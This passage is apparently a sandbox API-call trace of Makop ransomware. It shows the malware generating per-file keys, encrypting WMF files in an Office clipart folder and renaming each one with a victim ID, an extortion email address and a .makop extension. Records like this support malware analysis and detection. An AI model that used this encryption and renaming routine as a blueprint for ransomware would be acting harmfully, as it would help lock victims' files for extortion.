hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.467] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.467] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.467] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.467] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.467] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d84, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d84, lpOverlapped=0x0) returned 1 [0151.469] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d90, dwBufLen=0x1d90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d90) returned 1 [0151.469] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.469] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d90, lpOverlapped=0x0) returned 1 [0151.469] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.469] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.470] SetEndOfFile (hFile=0xf0) returned 1 [0151.476] GetProcessHeap () returned 0x48a0000 [0151.476] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.477] GetProcessHeap () returned 0x48a0000 [0151.477] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.477] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.479] CloseHandle (hObject=0xf0) returned 1 [0151.479] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5505900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5505900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0xae1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01044_.WMF", cAlternateFileName="")) returned 1 [0151.479] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF") returned 63 [0151.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.480] GetProcessHeap () returned 0x48a0000 [0151.480] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.480] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.481] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.481] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0151.488] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.488] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.488] GetProcessHeap () returned 0x48a0000 [0151.489] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.489] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.489] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.489] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.489] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.489] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.489] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.489] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.490] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.490] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.490] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.490] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.490] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xae1a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xae1a, lpOverlapped=0x0) returned 1 [0151.492] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xae20, dwBufLen=0xae20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xae20) returned 1 [0151.492] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.493] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xae20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xae20, lpOverlapped=0x0) returned 1 [0151.493] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.493] SetEndOfFile (hFile=0xf0) returned 1 [0151.500] GetProcessHeap () returned 0x48a0000 [0151.501] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.501] GetProcessHeap () returned 0x48a0000 [0151.501] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.501] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.503] CloseHandle (hObject=0xf0) returned 1 [0151.503] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98336a00, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98336a00, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x5b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01063_.WMF", cAlternateFileName="")) returned 1 [0151.503] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF") returned 63 [0151.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.511] GetProcessHeap () returned 0x48a0000 [0151.511] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.511] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.511] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.511] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.516] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.516] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.516] GetProcessHeap () returned 0x48a0000 [0151.516] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.516] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.516] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.516] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.516] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.516] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.517] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.517] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.517] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.517] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.517] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5b38, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5b38, lpOverlapped=0x0) returned 1 [0151.519] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b40, dwBufLen=0x5b40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b40) returned 1 [0151.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5b40, lpOverlapped=0x0) returned 1 [0151.520] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.520] SetEndOfFile (hFile=0xf0) returned 1 [0151.527] GetProcessHeap () returned 0x48a0000 [0151.527] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.527] GetProcessHeap () returned 0x48a0000 [0151.527] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.527] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.529] CloseHandle (hObject=0xf0) returned 1 [0151.529] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1075e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01236_.WMF", cAlternateFileName="")) returned 1 [0151.529] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF") returned 63 [0151.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.532] GetProcessHeap () returned 0x48a0000 [0151.532] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.532] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.532] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.532] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0151.538] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.539] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.539] GetProcessHeap () returned 0x48a0000 [0151.539] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.539] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.539] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.539] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.539] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.539] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.539] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.540] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.540] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.540] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.540] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.540] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.540] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1075e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1075e, lpOverlapped=0x0) returned 1 [0151.543] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10760, dwBufLen=0x10760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10760) returned 1 [0151.543] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.543] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x10760, lpOverlapped=0x0) returned 1 [0151.544] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.544] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.544] SetEndOfFile (hFile=0xf0) returned 1 [0151.552] GetProcessHeap () returned 0x48a0000 [0151.552] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.552] GetProcessHeap () returned 0x48a0000 [0151.552] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.552] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.556] CloseHandle (hObject=0xf0) returned 1 [0151.556] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e49c00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8e49c00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x43b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01560_.WMF", cAlternateFileName="")) returned 1 [0151.556] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF") returned 63 [0151.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.557] GetProcessHeap () returned 0x48a0000 [0151.557] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.557] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.557] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.557] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.558] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.558] GetProcessHeap () returned 0x48a0000 [0151.558] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.558] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.558] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.558] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, 